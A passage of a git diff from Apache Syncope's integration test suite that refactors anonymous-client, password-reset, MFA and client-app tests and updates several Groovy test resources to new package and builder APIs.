ANONYMOUS_CLIENT.getService(UserSelfService.class).requestPasswordReset(user.getUsername(), null); // 4. get token (normally sent via e-mail, now reading as admin) String token = USER_SERVICE.read(read.getKey()).getToken(); @@ -396,13 +416,13 @@ public void passwordResetWithoutSecurityQuestion() { // 5. confirm password reset try { - anonClient.getService(UserSelfService.class).confirmPasswordReset("WRONG TOKEN", "newPassword"); + ANONYMOUS_CLIENT.getService(UserSelfService.class).confirmPasswordReset("WRONG TOKEN", "newPassword"); fail("This should not happen"); } catch (SyncopeClientException e) { assertEquals(ClientExceptionType.NotFound, e.getType()); assertTrue(e.getMessage().contains("WRONG TOKEN")); } - anonClient.getService(UserSelfService.class).confirmPasswordReset(token, "newPassword123"); + ANONYMOUS_CLIENT.getService(UserSelfService.class).confirmPasswordReset(token, "newPassword123"); // 6. verify that password was reset and token removed authClient = CLIENT_FACTORY.create(user.getUsername(), "newPassword123"); @@ -444,7 +464,8 @@ public void mustChangePassword() { } // 3. change password - vivaldiClient.getService(UserSelfService.class).mustChangePassword("password123"); + vivaldiClient.getService(UserSelfService.class). + mustChangePassword(new PasswordPatch.Builder().value("password123").build()); // 4. verify it worked Triple>, List, UserTO> self = diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/VirAttrITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/VirAttrITCase.java index ce1fb035b34..6b3467e06d1 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/VirAttrITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/VirAttrITCase.java @@ -158,7 +158,7 @@ public void issueSYNCOPE260() { // ---------------------------------- // suspend/reactivate user and check virtual attribute value (unchanged) // ---------------------------------- - StatusR statusR = new StatusR.Builder().key(userTO.getKey()).type(StatusRType.SUSPEND).build(); + StatusR statusR = new StatusR.Builder(userTO.getKey(), StatusRType.SUSPEND).build(); userTO = USER_SERVICE.status(statusR).readEntity(new GenericType>() { }).getEntity(); assertEquals("suspended", userTO.getStatus()); @@ -166,8 +166,7 @@ public void issueSYNCOPE260() { connObjectTO = RESOURCE_SERVICE.readConnObject(RESOURCE_NAME_WS2, AnyTypeKind.USER.name(), userTO.getKey()); assertEquals("virtualvalue2", connObjectTO.getAttr("COMPANYNAME").get().getValues().get(0)); - statusR = new StatusR.Builder().key(userTO.getKey()). - type(StatusRType.REACTIVATE).build(); + statusR = new StatusR.Builder(userTO.getKey(), StatusRType.REACTIVATE).build(); userTO = USER_SERVICE.status(statusR).readEntity(new GenericType>() { }).getEntity(); assertEquals("active", userTO.getStatus()); diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/VirSchemaITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/VirSchemaITCase.java index 364cb710b25..9c95fa670d5 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/VirSchemaITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/VirSchemaITCase.java @@ -24,7 +24,6 @@ import static org.junit.jupiter.api.Assertions.assertTrue; import static org.junit.jupiter.api.Assertions.fail; -import java.security.AccessControlException; import java.util.List; import java.util.Locale; import javax.ws.rs.core.Response; @@ -100,14 +99,6 @@ public void crud() { @Test public void anonymous() { - SchemaService unauthenticated = CLIENT_FACTORY.create().getService(SchemaService.class); - try { - unauthenticated.search(new SchemaQuery.Builder().type(SchemaType.VIRTUAL).build()); - fail("This should not happen"); - } catch (AccessControlException e) { - assertNotNull(e); - } - SchemaService anonymous = ANONYMOUS_CLIENT.getService(SchemaService.class); assertFalse(anonymous.search(new SchemaQuery.Builder().type(SchemaType.VIRTUAL).build()).isEmpty()); } diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/wa/GoogleMfaAuthAccountITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/wa/GoogleMfaAuthAccountITCase.java index 21cd0d822cf..86e06344a63 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/wa/GoogleMfaAuthAccountITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/wa/GoogleMfaAuthAccountITCase.java @@ -23,7 +23,7 @@ import static org.junit.jupiter.api.Assertions.assertFalse; import static org.junit.jupiter.api.Assertions.assertThrows; -import java.time.OffsetDateTime; +import java.time.ZonedDateTime; import java.util.List; import java.util.UUID; import org.apache.syncope.common.lib.SyncopeClientException; @@ -36,9 +36,10 @@ public class GoogleMfaAuthAccountITCase extends AbstractITCase { - private static GoogleMfaAuthAccount createGoogleMfaAuthAccount() { + private static GoogleMfaAuthAccount createGoogleMfaAuthAccount(final String username) { return new GoogleMfaAuthAccount.Builder() - .registrationDate(OffsetDateTime.now()) + .username(username) + .registrationDate(ZonedDateTime.now()) .scratchCodes(List.of(1, 2, 3, 4, 5)) .secretKey(SecureRandomUtils.generateRandomUUID().toString()) .validationCode(123456) @@ -53,15 +54,15 @@ public void setup() { @Test public void create() { - GoogleMfaAuthAccount acct = createGoogleMfaAuthAccount(); - assertDoesNotThrow(() -> GOOGLE_MFA_AUTH_ACCOUNT_SERVICE.create(UUID.randomUUID().toString(), acct)); + GoogleMfaAuthAccount acct = createGoogleMfaAuthAccount(UUID.randomUUID().toString()); + assertDoesNotThrow(() -> GOOGLE_MFA_AUTH_ACCOUNT_SERVICE.create(acct)); } @Test public void count() { String owner = UUID.randomUUID().toString(); - GoogleMfaAuthAccount acct = createGoogleMfaAuthAccount(); - GOOGLE_MFA_AUTH_ACCOUNT_SERVICE.create(owner, acct); + GoogleMfaAuthAccount acct = createGoogleMfaAuthAccount(owner); + GOOGLE_MFA_AUTH_ACCOUNT_SERVICE.create(acct); PagedResult list = GOOGLE_MFA_AUTH_ACCOUNT_SERVICE.list(); assertFalse(list.getResult().isEmpty()); assertEquals(1, list.getTotalCount()); @@ -74,8 +75,8 @@ public void count() { @Test public void delete() { String owner = UUID.randomUUID().toString(); - GoogleMfaAuthAccount acct = createGoogleMfaAuthAccount(); - GOOGLE_MFA_AUTH_ACCOUNT_SERVICE.create(owner, acct); + GoogleMfaAuthAccount acct = createGoogleMfaAuthAccount(owner); + GOOGLE_MFA_AUTH_ACCOUNT_SERVICE.create(acct); GOOGLE_MFA_AUTH_ACCOUNT_SERVICE.delete(owner); assertThrows(SyncopeClientException.class, () -> GOOGLE_MFA_AUTH_ACCOUNT_SERVICE.read(owner)); } @@ -83,12 +84,12 @@ public void delete() { @Test public void update() { String owner = UUID.randomUUID().toString(); - GoogleMfaAuthAccount acct = createGoogleMfaAuthAccount(); - GOOGLE_MFA_AUTH_ACCOUNT_SERVICE.create(owner, acct); + GoogleMfaAuthAccount acct = createGoogleMfaAuthAccount(owner); + GOOGLE_MFA_AUTH_ACCOUNT_SERVICE.create(acct); acct = GOOGLE_MFA_AUTH_ACCOUNT_SERVICE.read(acct.getId()); acct.setSecretKey("NewSecret"); acct.setScratchCodes(List.of(9, 8, 7, 6, 5)); - GOOGLE_MFA_AUTH_ACCOUNT_SERVICE.update(owner, acct); + GOOGLE_MFA_AUTH_ACCOUNT_SERVICE.update(acct); assertEquals(1, GOOGLE_MFA_AUTH_ACCOUNT_SERVICE.list().getTotalCount()); acct = GOOGLE_MFA_AUTH_ACCOUNT_SERVICE.read(owner).getResult().get(0); assertEquals(acct.getSecretKey(), acct.getSecretKey()); diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/wa/MfaTrustStorageITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/wa/MfaTrustStorageITCase.java new file mode 100644 index 00000000000..24d672a08b6 --- /dev/null +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/wa/MfaTrustStorageITCase.java @@ -0,0 +1,92 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.fit.core.wa; + +import static org.junit.jupiter.api.Assertions.assertDoesNotThrow; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; + +import java.time.OffsetDateTime; +import java.time.ZonedDateTime; +import java.util.List; +import java.util.UUID; +import org.apache.syncope.common.lib.wa.MfaTrustedDevice; +import org.apache.syncope.common.rest.api.beans.MfaTrustedDeviceQuery; +import org.apache.syncope.fit.AbstractITCase; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; + +public class MfaTrustStorageITCase extends AbstractITCase { + + private static MfaTrustedDevice createDeviceRegistration() { + MfaTrustedDevice device = new MfaTrustedDevice(); + device.setId(System.currentTimeMillis()); + device.setDeviceFingerprint(UUID.randomUUID().toString()); + device.setName(UUID.randomUUID().toString()); + device.setRecordKey(UUID.randomUUID().toString()); + device.setRecordDate(ZonedDateTime.now()); + device.setExpirationDate(ZonedDateTime.now().plusDays(30)); + return device; + } + + @BeforeEach + public void setup() { + MFA_TRUST_STORAGE_SERVICE.delete(new MfaTrustedDeviceQuery.Builder().build()); + } + + @Test + public void create() { + assertDoesNotThrow(() -> MFA_TRUST_STORAGE_SERVICE.create( + UUID.randomUUID().toString(), createDeviceRegistration())); + } + + @Test + public void count() { + String owner = UUID.randomUUID().toString(); + MfaTrustedDevice device = createDeviceRegistration(); + MFA_TRUST_STORAGE_SERVICE.create(owner, device); + + List devices = MFA_TRUST_STORAGE_SERVICE.search(new MfaTrustedDeviceQuery.Builder(). + principal(owner).build()).getResult(); + assertEquals(1, devices.size()); + + MFA_TRUST_STORAGE_SERVICE.delete(new MfaTrustedDeviceQuery.Builder().recordKey(device.getRecordKey()).build()); + + devices = MFA_TRUST_STORAGE_SERVICE.search(new MfaTrustedDeviceQuery.Builder().build()).getResult(); + assertTrue(devices.isEmpty()); + } + + @Test + public void delete() { + MfaTrustedDevice device = createDeviceRegistration(); + String owner = UUID.randomUUID().toString(); + MFA_TRUST_STORAGE_SERVICE.create(owner, device); + + MFA_TRUST_STORAGE_SERVICE.delete(new MfaTrustedDeviceQuery.Builder().recordKey(device.getRecordKey()).build()); + assertTrue(MFA_TRUST_STORAGE_SERVICE.search( + new MfaTrustedDeviceQuery.Builder().id(device.getId()).build()).getResult().isEmpty()); + + OffsetDateTime date = OffsetDateTime.now().plusDays(1); + + MFA_TRUST_STORAGE_SERVICE.delete(new MfaTrustedDeviceQuery.Builder().expirationDate(date).build()); + + assertTrue(MFA_TRUST_STORAGE_SERVICE.search( + new MfaTrustedDeviceQuery.Builder().id(device.getId()).build()).getResult().isEmpty()); + } +} diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/wa/WAClientAppITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/wa/WAClientAppITCase.java index 24f801b2819..a5dd774f3ba 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/wa/WAClientAppITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/wa/WAClientAppITCase.java @@ -25,14 +25,13 @@ import static org.junit.jupiter.api.Assumptions.assumeTrue; import java.util.List; -import org.apache.syncope.client.lib.AnonymousAuthenticationHandler; -import org.apache.syncope.client.lib.SyncopeClient; import org.apache.syncope.client.lib.SyncopeClientFactoryBean; import org.apache.syncope.common.lib.policy.AccessPolicyTO; import org.apache.syncope.common.lib.policy.AttrReleasePolicyTO; import org.apache.syncope.common.lib.policy.AuthPolicyTO; -import org.apache.syncope.common.lib.to.AuthModuleTO; -import org.apache.syncope.common.lib.to.Item; +import org.apache.syncope.common.lib.policy.DefaultAttrReleasePolicyConf; +import org.apache.syncope.common.lib.policy.DefaultTicketExpirationPolicyConf; +import org.apache.syncope.common.lib.policy.TicketExpirationPolicyTO; import org.apache.syncope.common.lib.to.OIDCRPClientAppTO; import org.apache.syncope.common.lib.to.SAML2SPClientAppTO; import org.apache.syncope.common.lib.types.ClientAppType; @@ -53,9 +52,7 @@ public class WAClientAppITCase extends AbstractITCase { public static void setup() { assumeTrue(CLIENT_FACTORY.getContentType() == SyncopeClientFactoryBean.ContentType.JSON); - SyncopeClient anonymous = CLIENT_FACTORY.create( - new AnonymousAuthenticationHandler(ANONYMOUS_UNAME, ANONYMOUS_KEY)); - WA_CLIENT_APP_SERVICE = anonymous.getService(WAClientAppService.class); + WA_CLIENT_APP_SERVICE = ANONYMOUS_CLIENT.getService(WAClientAppService.class); } @Test @@ -105,55 +102,29 @@ public void readWithPolicies() { AttrReleasePolicyTO attrReleasePolicyTO = createPolicy(PolicyType.ATTR_RELEASE, buildAttrReleasePolicyTO()); + TicketExpirationPolicyTO ticketExpirationPolicyTO = + createPolicy(PolicyType.TICKET_EXPIRATION, buildTicketExpirationPolicyTO()); + oidcrpto.setAuthPolicy(authPolicyTO.getKey()); oidcrpto.setAccessPolicy(accessPolicyTO.getKey()); oidcrpto.setAttrReleasePolicy(attrReleasePolicyTO.getKey()); + oidcrpto.setTicketExpirationPolicy(ticketExpirationPolicyTO.getKey()); oidcrpto = createClientApp(ClientAppType.OIDCRP, oidcrpto); WAClientApp waClientApp = WA_CLIENT_APP_SERVICE.read(oidcrpto.getClientAppId(), null); assertNotNull(waClientApp); - assertTrue(waClientApp.getReleaseAttrs().isEmpty()); - - // add items to the authentication module - addItems(); - try { - waClientApp = WA_CLIENT_APP_SERVICE.read(oidcrpto.getClientAppId(), null); - assertNotNull(waClientApp); - assertFalse(waClientApp.getReleaseAttrs().isEmpty()); - assertEquals("username", waClientApp.getReleaseAttrs().get("uid")); - assertEquals("fullname", waClientApp.getReleaseAttrs().get("cn")); - } finally { - removeItems(); - } - } - - private void addItems() { - AuthModuleTO authModuleTO = AUTH_MODULE_SERVICE.read(AUTH_MODULE); - - Item keyMapping = new Item(); - keyMapping.setIntAttrName("uid"); - keyMapping.setExtAttrName("username"); - authModuleTO.getItems().add(keyMapping); - - Item fullnameMapping = new Item(); - fullnameMapping.setIntAttrName("cn"); - fullnameMapping.setExtAttrName("fullname"); - authModuleTO.getItems().add(fullnameMapping); - - AUTH_MODULE_SERVICE.update(authModuleTO); - - authModuleTO = AUTH_MODULE_SERVICE.read(AUTH_MODULE); - assertFalse(authModuleTO.getItems().isEmpty()); - } - - private void removeItems() { - AuthModuleTO authModuleTO = AUTH_MODULE_SERVICE.read(AUTH_MODULE); - authModuleTO.getItems().clear(); - - AUTH_MODULE_SERVICE.update(authModuleTO); - - authModuleTO = AUTH_MODULE_SERVICE.read(AUTH_MODULE); - assertTrue(authModuleTO.getItems().isEmpty()); + assertTrue(waClientApp.getAttrReleasePolicy().getConf() instanceof DefaultAttrReleasePolicyConf); + assertTrue(waClientApp.getTicketExpirationPolicy().getConf() instanceof DefaultTicketExpirationPolicyConf); + + DefaultAttrReleasePolicyConf attrReleasePolicyConf = + (DefaultAttrReleasePolicyConf) waClientApp.getAttrReleasePolicy().getConf(); + assertFalse(attrReleasePolicyConf.getReleaseAttrs().isEmpty()); + assertEquals("username", attrReleasePolicyConf.getReleaseAttrs().get("uid")); + assertEquals("fullname", attrReleasePolicyConf.getReleaseAttrs().get("cn")); + + DefaultTicketExpirationPolicyConf ticketExpirationPolicyConf = + (DefaultTicketExpirationPolicyConf) waClientApp.getTicketExpirationPolicy().getConf(); + assertEquals(110, ticketExpirationPolicyConf.getTgtConf().getMaxTimeToLiveInSeconds()); } } diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/enduser/AbstractEnduserITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/enduser/AbstractEnduserITCase.java index 46d49d1ea79..39b81b7e0f0 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/enduser/AbstractEnduserITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/enduser/AbstractEnduserITCase.java @@ -32,13 +32,15 @@ import java.util.Locale; import java.util.Properties; import org.apache.syncope.client.enduser.EnduserProperties; +import org.apache.syncope.client.enduser.FlowableEnduserContext; +import org.apache.syncope.client.enduser.IdRepoEnduserContext; +import org.apache.syncope.client.enduser.OIDCC4UIEnduserContext; +import org.apache.syncope.client.enduser.SAML2SP4UIEnduserContext; import org.apache.syncope.client.enduser.SyncopeWebApplication; -import org.apache.syncope.client.enduser.commons.PreviewUtils; import org.apache.syncope.client.enduser.init.ClassPathScanImplementationLookup; import org.apache.syncope.client.enduser.pages.Login; import org.apache.syncope.client.lib.SyncopeClient; import org.apache.syncope.client.lib.SyncopeClientFactoryBean; -import org.apache.syncope.client.ui.commons.MIMETypesLoader; import org.apache.syncope.common.keymaster.client.self.SelfKeymasterClientContext; import org.apache.syncope.common.keymaster.client.zookeeper.ZookeeperKeymasterClientContext; import org.apache.syncope.common.lib.Attr; @@ -49,7 +51,6 @@ import org.apache.syncope.common.rest.api.service.SyncopeService; import org.apache.syncope.common.rest.api.service.UserService; import org.apache.syncope.fit.AbstractUIITCase; -import org.apache.syncope.fit.console.AbstractConsoleITCase; import org.apache.wicket.util.tester.FormTester; import org.apache.wicket.util.tester.WicketTester; import org.junit.jupiter.api.AfterAll; @@ -62,7 +63,13 @@ public abstract class AbstractEnduserITCase extends AbstractUIITCase { - @ImportAutoConfiguration(classes = { SelfKeymasterClientContext.class, ZookeeperKeymasterClientContext.class }) + @ImportAutoConfiguration(classes = { + SelfKeymasterClientContext.class, + ZookeeperKeymasterClientContext.class, + IdRepoEnduserContext.class, + FlowableEnduserContext.class, + SAML2SP4UIEnduserContext.class, + OIDCC4UIEnduserContext.class }) @Configuration(proxyBeanMethods = false) public static class SyncopeEnduserWebApplicationTestConfig { @@ -106,18 +113,6 @@ public ClassPathScanImplementationLookup classPathScanImplementationLookup() { lookup.load(); return lookup; } - - @Bean - public MIMETypesLoader mimeTypesLoader() { - MIMETypesLoader mimeTypesLoader = new MIMETypesLoader(); - mimeTypesLoader.load(); - return mimeTypesLoader; - } - - @Bean - public PreviewUtils previewUtils() { - return new PreviewUtils(); - } } protected static SyncopeClientFactoryBean CLIENT_FACTORY; @@ -138,7 +133,7 @@ public static void setUp() { ctx.register(SyncopeWebApplication.class); String springActiveProfiles = null; - try (InputStream propStream = AbstractConsoleITCase.class.getResourceAsStream("/test.properties")) { + try (InputStream propStream = AbstractEnduserITCase.class.getResourceAsStream("/test.properties")) { Properties props = new Properties(); props.load(propStream); diff --git a/fit/core-reference/src/test/resources/AddResourcePullActions.groovy b/fit/core-reference/src/test/resources/AddResourcePullActions.groovy new file mode 100644 index 00000000000..56901ab8908 --- /dev/null +++ b/fit/core-reference/src/test/resources/AddResourcePullActions.groovy @@ -0,0 +1,66 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +import org.apache.syncope.core.provisioning.api.pushpull.PullActions +import org.apache.syncope.common.lib.request.AnyUR; +import org.apache.syncope.common.lib.to.EntityTO; +import org.identityconnectors.framework.common.objects.SyncDelta; +import org.quartz.JobExecutionException; +import org.apache.syncope.common.lib.request.UserUR; +import org.apache.syncope.common.lib.request.PasswordPatch; +import org.apache.syncope.common.lib.request.StringPatchItem; +import org.apache.syncope.core.provisioning.api.pushpull.ProvisioningProfile; +import org.apache.syncope.common.lib.types.PatchOperation; +import org.apache.syncope.common.lib.Attr; +import org.apache.syncope.common.lib.request.AttrPatch; + +/** + * Class for integration tests: add new resource and put a password only for it. + */ +class AddResourcePullActions implements PullActions { + + void beforeUpdate( + final ProvisioningProfile profile, + final SyncDelta delta, + final EntityTO entity, + final AnyUR anyUR) throws JobExecutionException { + + if (anyUR instanceof UserUR) { + UserUR userUR = (UserUR) anyUR; + Attr attr = new Attr(); + attr.setSchema("surname"); + attr.getValues().add("surname2"); + AttrPatch attrPatch = new AttrPatch(); + attrPatch.setAttr(attr); + attrPatch.setOperation(PatchOperation.ADD_REPLACE); + userUR.getPlainAttrs().add(attrPatch); + + PasswordPatch patch = new PasswordPatch(); + patch.setOnSyncope(false); + patch.setValue("Password123"); + patch.setOperation(PatchOperation.ADD_REPLACE); + patch.getResources().add("resource-testdb2"); + userUR.setPassword(patch); + + StringPatchItem resPatchItem = new StringPatchItem(); + resPatchItem.setValue("resource-testdb2"); + resPatchItem.setOperation(PatchOperation.ADD_REPLACE); + userUR.getResources().add(resPatchItem); + } + } +} diff --git a/fit/core-reference/src/test/resources/CustomAuditLogicActions.groovy b/fit/core-reference/src/test/resources/CustomAuditLogicActions.groovy new file mode 100644 index 00000000000..0132813c1b6 --- /dev/null +++ b/fit/core-reference/src/test/resources/CustomAuditLogicActions.groovy @@ -0,0 +1,45 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +import java.time.OffsetDateTime +import org.apache.syncope.common.lib.request.AnyUR +import org.apache.syncope.common.lib.types.AuditElements +import org.apache.syncope.core.logic.api.LogicActions +import org.apache.syncope.core.provisioning.api.AuditManager +import org.apache.syncope.core.spring.security.AuthContextUtils +import org.springframework.beans.factory.annotation.Autowired + +class CustomAuditLogicActions implements LogicActions { + + @Autowired + AuditManager auditManager; + + @Override + R beforeUpdate(final R input) { + auditManager.audit( + AuthContextUtils.getWho(), + AuditElements.EventCategoryType.CUSTOM, + null, + null, + "MY_EVENT", + AuditElements.Result.SUCCESS, + "before", + OffsetDateTime.now().toString()); + return input + } +} diff --git a/fit/core-reference/src/test/resources/DoubleValueLogicActions.groovy b/fit/core-reference/src/test/resources/DoubleValueLogicActions.groovy index 2a56c678863..01cc95264d5 100644 --- a/fit/core-reference/src/test/resources/DoubleValueLogicActions.groovy +++ b/fit/core-reference/src/test/resources/DoubleValueLogicActions.groovy @@ -16,7 +16,6 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.transform.CompileStatic import org.apache.syncope.common.lib.Attr import org.apache.syncope.common.lib.request.AnyCR import org.apache.syncope.common.lib.request.AnyUR @@ -26,7 +25,6 @@ import org.apache.syncope.core.logic.api.LogicActions /** * Class for integration tests: transform (by making it double) any attribute value for defined schema. */ -@CompileStatic class DoubleValueLogicActions implements LogicActions { private static final String NAME = "makeItDouble"; @@ -70,4 +68,4 @@ class DoubleValueLogicActions implements LogicActions { return input; } -} \ No newline at end of file +} diff --git a/fit/core-reference/src/test/resources/GroovyCommand.groovy b/fit/core-reference/src/test/resources/GroovyCommand.groovy index 92a216aa326..48d492a2719 100644 --- a/fit/core-reference/src/test/resources/GroovyCommand.groovy +++ b/fit/core-reference/src/test/resources/GroovyCommand.groovy @@ -16,10 +16,9 @@ * specific language governing permissions and limitations * under the License. */ - import org.apache.syncope.common.lib.command.CommandArgs import org.apache.syncope.core.logic.SyncopeLogic -import org.apache.syncope.core.logic.api.Command +import org.apache.syncope.core.provisioning.api.macro.Command import org.springframework.beans.factory.annotation.Autowired class GroovyCommand implements Command { diff --git a/fit/core-reference/src/test/resources/PrefixItemTransformer.groovy b/fit/core-reference/src/test/resources/PrefixItemTransformer.groovy index ca2b2da4bf6..c194ae67e55 100644 --- a/fit/core-reference/src/test/resources/PrefixItemTransformer.groovy +++ b/fit/core-reference/src/test/resources/PrefixItemTransformer.groovy @@ -16,7 +16,6 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.transform.CompileStatic import java.util.ArrayList; import java.util.List; import org.apache.commons.lang3.StringUtils; @@ -28,7 +27,6 @@ import org.apache.syncope.core.persistence.api.entity.Any import org.apache.syncope.core.persistence.api.entity.PlainAttrValue import org.apache.syncope.core.provisioning.api.data.ItemTransformer; -@CompileStatic class PrefixItemTransformer implements ItemTransformer { public static String PREFIX = "PREFIX_"; diff --git a/fit/core-reference/src/test/resources/TestPullRule.groovy b/fit/core-reference/src/test/resources/TestPullRule.groovy index b734f0e4337..e12dee67807 100644 --- a/fit/core-reference/src/test/resources/TestPullRule.groovy +++ b/fit/core-reference/src/test/resources/TestPullRule.groovy @@ -16,17 +16,15 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.transform.CompileStatic import org.apache.syncope.common.lib.to.Provision -import org.apache.syncope.core.persistence.api.dao.PullCorrelationRule import org.apache.syncope.core.persistence.api.dao.search.AttrCond import org.apache.syncope.core.persistence.api.dao.search.SearchCond +import org.apache.syncope.core.provisioning.api.rules.PullCorrelationRule import org.identityconnectors.framework.common.objects.SyncDelta /** * Test pull rule relying on {@code email} attribute value. */ -@CompileStatic class TestPullRule implements PullCorrelationRule { @Override diff --git a/fit/core-reference/src/test/resources/TestPushRule.groovy b/fit/core-reference/src/test/resources/TestPushRule.groovy index cce78bb5e98..ab327196c73 100644 --- a/fit/core-reference/src/test/resources/TestPushRule.groovy +++ b/fit/core-reference/src/test/resources/TestPushRule.groovy @@ -16,11 +16,10 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.transform.CompileStatic import org.apache.syncope.common.lib.to.Provision -import org.apache.syncope.core.persistence.api.dao.PushCorrelationRule import org.apache.syncope.core.persistence.api.entity.Any import org.apache.syncope.core.persistence.api.entity.ExternalResource +import org.apache.syncope.core.provisioning.api.rules.PushCorrelationRule import org.identityconnectors.framework.common.objects.AttributeBuilder import org.identityconnectors.framework.common.objects.filter.Filter import org.identityconnectors.framework.common.objects.filter.FilterBuilder @@ -28,7 +27,6 @@ import org.identityconnectors.framework.common.objects.filter.FilterBuilder /** * Test push rule relying on {@code email} attribute value. */ -@CompileStatic class TestPushRule implements PushCorrelationRule { @Override diff --git a/fit/core-reference/src/test/resources/TestReconFilterBuilder.groovy b/fit/core-reference/src/test/resources/TestReconFilterBuilder.groovy index 99a6412ba8c..85e1bdf6492 100644 --- a/fit/core-reference/src/test/resources/TestReconFilterBuilder.groovy +++ b/fit/core-reference/src/test/resources/TestReconFilterBuilder.groovy @@ -21,9 +21,7 @@ import org.identityconnectors.framework.common.objects.ObjectClass import org.identityconnectors.framework.common.objects.filter.Filter import org.identityconnectors.framework.common.objects.filter.FilterBuilder import org.apache.syncope.core.provisioning.api.pushpull.ReconFilterBuilder -import groovy.transform.CompileStatic -@CompileStatic class TestReconFilterBuilder implements ReconFilterBuilder { private static final Filter EQUALS = FilterBuilder.equalTo(AttributeBuilder.build("SURNAME", "Rossi")); diff --git a/fit/core-reference/src/test/resources/log4j2.xml b/fit/core-reference/src/test/resources/log4j2.xml index 875d5e727f6..7f66aab5d83 100644 --- a/fit/core-reference/src/test/resources/log4j2.xml +++ b/fit/core-reference/src/test/resources/log4j2.xml @@ -19,8 +19,8 @@ under the License. --> - %d{HH:mm:ss.SSS} %-5level %logger - %msg%n diff --git a/fit/core-reference/src/test/resources/rest/SearchScript.groovy b/fit/core-reference/src/test/resources/rest/SearchScript.groovy index 063165488b3..2187d78bb4f 100644 --- a/fit/core-reference/src/test/resources/rest/SearchScript.groovy +++ b/fit/core-reference/src/test/resources/rest/SearchScript.groovy @@ -35,16 +35,16 @@ import org.identityconnectors.framework.common.objects.OperationOptions // // The Query map describes the filter used (via FIQL's ConditionType): // -// query = [ operation: "EQUALS", left: attribute, right: "value" ] -// query = [ operation: "GREATER_THAN", left: attribute, right: "value" ] -// query = [ operation: "GREATER_OR_EQUALS", left: attribute, right: "value" ] -// query = [ operation: "LESS_THAN", left: attribute, right: "value" ] -// query = [ operation: "LESS_OR_EQUALS", left: attribute, right: "value" ] +// query = [ conditionType: "EQUALS", left: attribute, right: "value" ] +// query = [ conditionType: "GREATER_THAN", left: attribute, right: "value" ] +// query = [ conditionType: "GREATER_OR_EQUALS", left: attribute, right: "value" ] +// query = [ conditionType: "LESS_THAN", left: attribute, right: "value" ] +// query = [ conditionType: "LESS_OR_EQUALS", left: attribute, right: "value" ] // query = null : then we assume we fetch everything // // AND and OR filter just embed a left/right couple of queries. -// query = [ operation: "AND", left: query1, right: query2 ] -// query = [ operation: "OR", left: query1, right: query2 ] +// query = [ conditionType: "AND", left: query1, right: query2 ] +// query = [ conditionType: "OR", left: query1, right: query2 ] // // Returns: A list of Maps. Each map describing one row. // !!!! Each Map must contain a '__UID__' and '__NAME__' attribute. @@ -93,7 +93,7 @@ switch (objectClass) { case "__ACCOUNT__": if (query == null || (!query.get("left").equals("__UID__") && !query.get("left").equals("key") - && !query.get("conditionType").equals("EQUALS"))) { + && !query.get("conditionType").name().equals("EQUALS"))) { webClient.path("/users"); diff --git a/fit/core-reference/src/test/resources/scriptedsql/SearchScript.groovy b/fit/core-reference/src/test/resources/scriptedsql/SearchScript.groovy index bba9ec46498..2e96d0587e9 100644 --- a/fit/core-reference/src/test/resources/scriptedsql/SearchScript.groovy +++ b/fit/core-reference/src/test/resources/scriptedsql/SearchScript.groovy @@ -16,8 +16,7 @@ * specific language governing permissions and limitations * under the 